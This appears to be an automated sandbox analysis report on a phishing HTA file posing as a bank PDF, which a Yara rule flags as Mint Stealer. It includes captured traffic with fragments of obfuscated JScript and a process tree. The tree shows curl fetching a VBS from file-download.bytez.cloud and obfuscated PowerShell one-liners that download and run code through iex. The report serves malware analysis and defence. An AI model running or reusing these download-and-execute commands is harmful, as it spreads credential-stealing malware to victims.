2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 6e 6f 75 72 61 62 6c 65 20 74 68 65 69 72 20 68 61 73 20 74 6f 6f 0a 2f 2f 63 6f 6e 74 65 6e 74 69 6f 6e 20 68 69 67 68 65 73 74 20 67 6f 76 65 72 6e 6d 65 6e 74 20 61 62 73 6f 6c 75 74 69 73 6d 20 74 68 65 69 72 20 74 68 65 20 64 69 73 74 69 6e 63 74 69 6f 6e 20 52 6f 6d 65 20 74 68 65 73 65 20 4c 65 74 20 61 6e 64 20 6f 6e 6c 79 20 70 72 65 6a 75 64 69 63 65 20 6e 61 74 69 6f 6e 61 6c 20 73 74 75 64 65 6e 74 73 20 50 55 42 4c 49 53 48 45 44 20 74 68 65 20 43 48 41 50 54 45 52 20 54 48 45 20 63 6f 75 6e 74 72 79 20 69 6e 66 6c 75 65 6e 63 65 20 73 70 68 65 72 65 20 6e 61 74 69 6f 6e 20 73 6f 75 67 68 74 20 64 65 76 65 6c 6f 70 20 50 72 6f 74 65 73 74 61 6e 74 69 73 6d 20 73 74 69 6c 6c 20 72 65 6c 69 67 69 6f 75 73 20 74 68 65 20 77 65 65 70 20 4d 65 6c Data Ascii: nourable their has too//contention highest government absolutism their the distinction Rome these Let and only prejudice national students PUBLISHED the CHAPTER THE country influence sphere nation sought develop Protestantism still religious the weep Mel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49744	78.138.9.153	443	4296	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 11:39:14 UTC	322	OUT	GET /js/djtukm.txt HTTP/1.1 Accept: / Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: file-download.bytez.cloud Connection: Keep-Alive
2024-12-20 11:39:14 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 11:39:14 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Tue, 17 Dec 2024 22:30:24 GMT ETag: "29f90-6297ed7d5e000" Accept-Ranges: bytes Content-Length: 171920 Vary: Accept-Encoding Connection: close Content-Type: text/plain
2024-12-20 11:39:14 UTC	7915	IN	Data Raw: 76 61 72 20 74 68 65 68 69 73 30 77 6f 75 6c 64 73 6f 76 65 72 65 69 67 6e 74 79 20 3d 20 74 68 65 68 69 73 30 74 68 65 77 69 74 68 3b 0a 66 75 6e 63 74 69 6f 6e 20 74 68 65 68 69 73 30 74 68 65 77 69 74 68 28 6e 6f 74 68 69 73 74 6f 72 79 2c 20 74 68 65 77 69 74 68 29 20 7b 0a 20 20 20 20 76 61 72 20 77 6f 75 6c 64 73 6f 76 65 72 65 69 67 6e 74 79 20 3d 20 74 68 65 68 69 73 30 6e 6f 74 68 69 73 74 6f 72 79 28 29 3b 0a 20 20 20 20 74 68 65 68 69 73 30 74 68 65 77 69 74 68 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 61 6e 64 72 65 77 66 6f 72 63 65 73 2c 20 73 75 63 68 74 68 65 29 20 7b 0a 20 20 20 20 20 20 20 20 61 6e 64 72 65 77 66 6f 72 63 65 73 20 3d 20 61 6e 64 72 65 77 66 6f 72 63 65 73 20 2d 20 28 30 78 35 31 37 20 2a 20 30 78 31 20 2b 20 30 78 31 36 62 Data Ascii: var thehis0wouldsovereignty = thehis0thewith;function thehis0thewith(nothistory, thewith) { var wouldsovereignty = thehis0nothistory(); thehis0thewith = function (andrewforces, suchthe) { andrewforces = andrewforces - (0x517 * 0x1 + 0x16b
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 64 46 53 76 73 34 68 20 3d 20 30 78 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 53 44 46 53 76 73 34 68 20 3d 20 30 78 30 3b 20 53 44 46 53 76 73 34 68 20 3c 20 41 46 73 47 61 33 72 76 7a 5b 27 6c 65 6e 67 74 68 27 5d 3b 20 53 44 46 53 76 73 34 68 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 44 46 53 76 73 34 68 20 3d 20 28 73 44 46 53 76 73 34 68 20 2b 20 30 78 31 29 20 25 20 30 78 31 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 64 46 53 76 73 34 68 20 3d 20 28 53 64 46 53 76 73 34 68 20 2b 20 61 66 53 47 61 33 72 76 7a 5b 73 44 46 53 76 73 34 68 5d 29 20 25 20 30 78 31 30 30 3b 0a 20 20 20 20 Data Ascii: ; SdFSvs4h = 0x0; for (var SDFSvs4h = 0x0; SDFSvs4h < AFsGa3rvz['length']; SDFSvs4h++) { sDFSvs4h = (sDFSvs4h + 0x1) % 0x100; SdFSvs4h = (SdFSvs4h + afSGa3rvz[sDFSvs4h]) % 0x100;
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 20 70 61 72 74 20 70 72 65 73 65 72 76 61 74 69 6f 6e 20 77 61 73 20 77 69 74 68 20 53 63 6f 74 6c 61 6e 64 20 74 68 65 20 53 43 4f 54 54 49 53 48 20 73 79 73 74 65 6d 20 6d 61 6e 20 74 68 69 73 20 72 65 61 64 69 6c 79 20 68 61 76 65 20 61 6e 64 20 74 68 61 74 20 6d 61 79 20 41 6e 64 72 65 77 73 20 70 6f 70 75 6c 61 72 20 6d 6f 73 74 0a 2f 2f 63 61 75 73 65 20 4d 45 4c 56 49 4c 4c 45 20 74 68 65 20 74 68 65 20 73 68 6f 77 20 64 69 73 74 69 6e 63 74 69 6f 6e 20 47 49 46 54 20 42 75 74 20 53 63 6f 74 73 20 74 68 65 20 69 6e 74 65 72 65 73 74 65 64 20 65 78 63 65 6c 6c 65 6e 63 65 20 6f 70 70 6f 73 69 6e 67 20 62 6f 74 68 20 77 69 74 68 20 4c 45 4e 4e 4f 58 20 63 6c 65 72 69 63 61 6c 20 61 72 65 20 74 68 65 20 75 6e 64 65 72 73 74 6f 6f 64 20 73 68 6f 75 6c Data Ascii: part preservation was with Scotland the SCOTTISH system man this readily have and that may Andrews popular most//cause MELVILLE the the show distinction GIFT But Scots the interested excellence opposing both with LENNOX clerical are the understood shoul
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 43 68 75 72 63 68 20 41 4e 44 20 69 6d 6d 65 64 69 61 74 65 20 74 68 65 20 77 61 73 20 70 65 6f 70 6c 65 20 61 6e 79 20 68 69 67 68 65 73 74 20 48 6f 77 20 74 68 65 69 72 20 63 6f 6e 6a 75 6e 63 74 69 6f 6e 20 77 68 65 72 65 20 43 48 41 50 54 45 52 20 44 4f 57 4e 20 43 68 75 72 63 68 20 61 6e 6f 74 68 65 72 20 6d 69 6e 64 20 74 68 65 20 66 69 6c 6c 65 64 20 70 72 65 20 74 68 61 74 20 45 44 55 43 41 54 49 4f 4e 20 74 68 65 20 55 4e 44 45 52 20 74 68 65 20 6f 6e 65 20 61 63 61 64 65 6d 69 63 20 6d 6f 73 74 20 74 68 65 69 72 0a 2f 2f 69 6e 74 65 72 65 73 74 20 74 68 65 20 6c 61 69 64 20 53 45 52 56 49 43 45 53 20 4d 65 6c 76 69 6c 6c 65 20 74 68 65 20 43 68 75 72 63 68 20 49 49 49 20 6d 61 6e 20 77 68 69 63 68 20 4c 61 74 69 6e 20 65 6e 67 61 67 65 64 20 6d Data Ascii: Church AND immediate the was people any highest How their conjunction where CHAPTER DOWN Church another mind the filled pre that EDUCATION the UNDER the one academic most their//interest the laid SERVICES Melville the Church III man which Latin engaged m
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 69 6e 74 65 72 65 73 74 20 6f 6e 65 20 62 61 73 69 73 20 6f 6e 6c 79 0a 2f 2f 56 49 49 20 63 68 61 6e 67 65 64 20 71 75 6f 74 61 74 69 6f 6e 73 20 61 75 74 68 6f 72 20 54 68 65 79 20 67 72 65 61 74 65 73 74 20 73 6f 75 67 68 74 20 74 68 65 20 61 6e 64 20 69 74 73 20 74 68 69 73 20 73 75 63 68 20 4c 61 74 69 6e 20 74 68 65 79 20 66 65 61 72 20 31 33 34 20 6f 6e 6c 79 20 69 6d 70 65 72 69 6c 6c 65 64 20 74 68 65 20 74 68 65 20 77 6f 72 6b 20 64 72 65 61 64 65 64 20 41 4e 44 52 45 57 20 67 6f 76 65 72 6e 6d 65 6e 74 20 4a 61 6d 65 73 20 63 6f 75 6c 64 20 4d 4f 52 49 53 4f 4e 20 73 74 61 6e 64 20 69 6e 73 74 69 74 75 74 69 6f 6e 73 20 73 75 63 68 0a 2f 2f 6f 74 68 65 72 20 50 4f 50 49 53 48 20 74 68 65 20 6f 6e 65 20 68 69 73 20 64 77 61 72 66 65 64 20 74 68 Data Ascii: interest one basis only//VII changed quotations author They greatest sought the and its this such Latin they fear 134 only imperilled the the work dreaded ANDREW government James could MORISON stand institutions such//other POPISH the one his dwarfed th
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 65 72 65 64 20 43 68 75 72 63 68 20 6f 74 68 65 72 20 61 6e 64 20 54 68 65 72 65 20 61 67 61 69 6e 73 74 0a 2f 2f 61 6e 64 20 77 61 73 20 72 65 73 70 65 63 74 20 53 63 6f 74 6c 61 6e 64 20 64 61 79 20 74 68 65 20 73 75 63 63 65 73 73 6f 72 73 20 6d 65 72 65 6c 79 20 74 68 65 20 74 68 69 73 20 68 69 67 68 65 73 74 20 74 68 65 69 72 20 64 69 73 65 73 74 65 65 6d 65 64 20 53 63 6f 74 74 69 73 68 20 4d 45 4c 56 49 4c 4c 45 20 63 65 72 74 61 69 6e 20 68 69 73 20 74 68 61 74 20 62 65 69 6e 67 20 64 72 65 77 20 72 65 6e 64 65 72 65 64 20 42 72 6f 77 6e 20 74 68 65 20 6f 75 72 20 41 4e 44 52 45 57 20 66 61 6d 65 20 61 75 74 68 6f 72 20 45 44 49 4e 42 56 52 47 48 20 74 68 65 69 72 20 53 63 6f 74 6c 61 6e 64 20 74 68 65 20 69 6e 74 65 6c 6c 69 67 65 6e 63 65 20 64 Data Ascii: ered Church other and There against//and was respect Scotland day the successors merely the this highest their disesteemed Scottish MELVILLE certain his that being drew rendered Brown the our ANDREW fame author EDINBVRGH their Scotland the intelligence d
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 68 65 79 20 66 6f 72 20 61 6e 64 20 73 70 68 65 72 65 20 61 6c 6f 6e 65 20 73 6f 75 67 68 74 20 6c 61 69 64 20 69 74 73 20 66 6f 72 63 65 73 20 4d 65 6c 76 69 6c 6c 65 20 70 65 6f 70 6c 65 20 61 72 74 69 66 69 63 65 20 61 6e 64 20 43 68 75 72 63 68 20 63 6f 6e 63 65 72 6e 65 64 20 64 6f 77 6e 77 61 72 64 73 20 77 6f 72 6b 20 74 65 6e 64 65 6e 63 69 65 73 20 54 48 45 20 63 61 72 65 20 74 72 75 6c 79 20 68 69 67 68 20 70 6f 70 75 6c 61 72 0a 2f 2f 70 65 72 73 75 61 64 65 64 20 56 49 49 20 72 65 69 67 6e 20 70 72 6f 62 6c 65 6d 73 20 61 6e 6f 74 68 65 72 20 47 4c 41 53 47 4f 57 20 75 6e 73 63 72 75 70 75 6c 6f 75 73 20 57 68 65 72 65 20 4c 65 74 20 63 6c 65 72 69 63 61 6c 20 77 69 6c 6c 20 6f 6e 65 20 75 6e 64 65 72 20 74 6f 75 63 68 65 64 20 68 69 73 74 6f Data Ascii: hey for and sphere alone sought laid its forces Melville people artifice and Church concerned downwards work tendencies THE care truly high popular//persuaded VII reign problems another GLASGOW unscrupulous Where Let clerical will one under touched histo
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 6e 73 20 74 68 65 20 70 72 65 73 65 72 76 69 6e 67 20 6d 6f 73 74 20 63 6f 72 70 6f 72 61 74 69 6f 6e 20 74 68 65 20 77 61 73 20 72 65 73 6f 6c 75 74 65 20 53 63 6f 74 74 69 73 68 20 61 6e 64 20 43 4f 4e 54 45 4e 54 53 20 62 72 6f 61 64 20 55 6e 69 76 65 72 73 69 74 69 65 73 20 69 6e 74 65 72 65 73 74 20 66 72 6f 6d 20 72 65 6c 69 67 69 6f 75 73 20 61 64 76 61 6e 63 65 20 72 65 6c 69 67 69 6f 75 73 20 63 6c 61 69 6d 73 20 74 68 65 20 4c 45 4e 4e 4f 58 20 64 61 79 20 66 72 65 65 20 46 4c 49 47 48 54 20 4b 49 4e 47 20 6f 74 68 65 72 20 77 61 73 20 46 41 4c 4b 4c 41 4e 44 20 72 65 70 75 74 61 74 69 6f 6e 20 6f 77 6e 20 68 61 76 69 6e 67 0a 2f 2f 74 79 70 6f 73 20 53 45 44 41 4e 20 48 69 70 70 6f 63 72 61 74 65 73 20 63 68 65 63 6b 65 64 20 61 6c 73 6f 20 72 Data Ascii: ns the preserving most corporation the was resolute Scottish and CONTENTS broad Universities interest from religious advance religious claims the LENNOX day free FLIGHT KING other was FALKLAND reputation own having//typos SEDAN Hippocrates checked also r
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 74 68 65 72 20 61 6e 64 20 61 6c 73 6f 20 63 6f 6e 74 72 6f 76 65 72 73 79 20 69 6e 74 65 72 65 73 74 20 6e 61 74 69 6f 6e 20 62 72 6f 61 64 20 77 69 6c 6c 20 54 68 65 79 20 74 68 65 20 6d 6f 73 74 20 68 61 73 20 74 68 65 20 65 78 65 72 63 69 73 69 6e 67 0a 2f 2f 41 75 74 6f 62 69 6f 67 72 61 70 68 79 20 70 65 6f 70 6c 65 20 74 68 65 20 43 48 55 52 43 48 20 70 65 6f 70 6c 65 20 73 74 72 75 67 67 6c 65 20 61 6e 64 20 68 61 73 20 74 68 65 20 61 6e 64 20 64 69 73 74 69 6e 63 74 69 6f 6e 20 77 68 69 63 68 20 72 65 6c 69 67 69 6f 75 73 20 73 70 65 61 6b 73 20 68 61 73 20 65 78 65 72 63 69 73 65 64 20 68 61 64 20 64 65 76 65 6c 6f 70 20 74 68 65 20 63 6f 75 6e 74 72 79 20 62 72 61 63 6b 65 74 73 20 74 68 65 20 4d 45 4c 56 49 4c 4c 45 20 77 68 61 74 65 76 65 72 Data Ascii: ther and also controversy interest nation broad will They the most has the exercising//Autobiography people the CHURCH people struggle and has the and distinction which religious speaks has exercised had develop the country brackets the MELVILLE whatever
2024-12-20 11:39:15 UTC	8000	IN	Data Raw: 63 6f 74 74 69 73 68 20 65 69 74 68 65 72 20 76 69 74 61 6c 20 43 48 41 50 54 45 52 20 74 68 65 79 20 74 68 69 73 20 77 68 6f 6c 65 20 75 6e 64 61 6d 61 67 65 64 20 70 6c 61 63 65 64 20 47 4c 41 53 47 4f 57 20 66 6f 72 65 69 67 6e 20 74 69 74 6c 65 20 42 49 53 48 4f 50 53 20 61 6e 64 20 74 68 65 79 20 61 72 74 69 66 69 63 65 20 77 61 73 20 50 72 6f 74 65 73 74 61 6e 74 69 73 6d 20 6d 75 63 68 20 42 49 52 54 48 20 74 68 65 72 65 66 6f 72 65 0a 2f 2f 74 68 65 20 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 20 62 65 65 6e 20 74 68 65 69 72 20 4d 45 4c 56 49 4c 4c 45 20 77 68 65 6e 20 76 69 74 61 6c 20 72 65 73 69 73 74 61 6e 63 65 20 74 68 65 20 63 6f 6e 6a 75 6e 63 74 69 6f 6e 20 69 6e 74 65 72 65 73 74 20 72 65 6e 64 65 72 65 64 20 64 72 65 61 64 65 64 20 75 70 Data Ascii: cottish either vital CHAPTER they this whole undamaged placed GLASGOW foreign title BISHOPS and they artifice was Protestantism much BIRTH therefore//the justification been their MELVILLE when vital resistance the conjunction interest rendered dreaded up

Target ID:	0
Start time:	06:38:59
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta"
Imagebase:	0xc40000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:39:05
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:39:05
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:39:05
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs
Imagebase:	0x470000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:39:08
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:39:08
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:39:09
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"
Imagebase:	0xa20000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:39:09
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs
Imagebase:	0x800000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:39:09
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:39:09
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"
Imagebase:	0xa20000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: wscript.exePID: 4248, Parent PID: 6960

General

Target ID:	11
Start time:	06:39:14
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\cagesr.js
Imagebase:	0xa20000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:39:15
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\djtukm.js
Imagebase:	0xa20000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:39:16
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	conhost --headless powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn)
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:39:16
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell $tfqdysmblvrcw='ur' ;new-alias printout c$($tfqdysmblvrcw)l;$eipxqtmaufl=(3052,3063,3071,3055,3057,3052,3072,3071,3076,3009,3071,3005,3052,3000,3070,3065,3066,3001,3003,3000,3066,3058,3066,3017,3069,3015,3063,3059,3064,3070,3069,3004,3003);$ojxutsrkdwlmfg=('bronx','get-cmdlet');$beuwadknj=$eipxqtmaufl;foreach($juaveihgnosc in $beuwadknj){$edlkzoftxn=$juaveihgnosc;$sojqxwd=$sojqxwd+[char]($edlkzoftxn-2954);$cqgevos=$sojqxwd; $hmaoevupsdbn=$cqgevos};$knztexjygdmwfo[2]=$hmaoevupsdbn;$lkrpqc='rl';$ypatcirzmquds=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hmaoevupsdbn)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:39:16
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	conhost --headless powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje)
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:39:16
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell $wcahze='ur' ;new-alias printout c$($wcahze)l;$trsoqwlp=(1811,1822,1830,1814,1816,1811,1831,1830,1835,1768,1830,1764,1811,1759,1829,1824,1825,1760,1762,1759,1825,1817,1825,1776,1828,1774,1822,1818,1823,1829,1828,1763,1762);$xepbrqkoau=('bronx','get-cmdlet');$dehltizxfcswu=$trsoqwlp;foreach($fahyrwncbvdkjm in $dehltizxfcswu){$dgznhjbpvsl=$fahyrwncbvdkjm;$pkhdavnfqjgs=$pkhdavnfqjgs+[char]($dgznhjbpvsl-1713);$swoezd=$pkhdavnfqjgs; $zotfqbascrdlje=$swoezd};$jmlkbouispxcrh[2]=$zotfqbascrdlje;$kuweximjag='rl';$obgwvcmaft=1;.$([char](9992-9887)+'e'+'x')(printout -useb $zotfqbascrdlje)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MintStealer_1, Description: Yara detected Mint Stealer, Source: 00000010.00000002.2332125294.0000027D5CEAB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 06700FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1795953455.0000000006700000.00000010.00000800.00020000.00000000.sdmp, Offset: 06700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6700000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 3f50d2c5e8db08f94a3984fbed820c1b1b9ff7e8fdbf89eece3ca7e2bc914827
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 7172, Parent PID: 3052COMMON

Executed Functions

Function 00007FFD9B8B1706 Relevance: .7, Instructions: 700COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2407271574.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6660fbdf4b887144dbc0b5cb9663e00f0694e03804b29c894baf528adca8abf6
Instruction ID: 09f78b007f71c11da3caf11cf27da9c1ddd12358b32b7d6f032bc33a0661755a
Opcode Fuzzy Hash: 6660fbdf4b887144dbc0b5cb9663e00f0694e03804b29c894baf528adca8abf6
Instruction Fuzzy Hash: A3225A32A0EACD4FE765EB6888656647BE1EF5A314F0900FED05CCB1E3DA28AC05C741

Function 00007FFD9B8B4E85 Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2407271574.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75de3e362e2cfc7cd65a69eba871d60d1ac3575c9d9f2c30010ea8b130a896cf
Instruction ID: 0a0813a8335d145137bced832c38bf26fc4251ff35b3b5181f18891570ed5821
Opcode Fuzzy Hash: 75de3e362e2cfc7cd65a69eba871d60d1ac3575c9d9f2c30010ea8b130a896cf
Instruction Fuzzy Hash: 10D15832B0EADD4FEBA5ABB848755A97B91EF1A314B0900FED05CC71E3D918A905C781

Function 00007FFD9B8B0000 Relevance: .4, Instructions: 397COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2407271574.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd41b25da42d22cb1110f228e6185d43dbae2bc46d8419259cd18f7a9a5f4e11
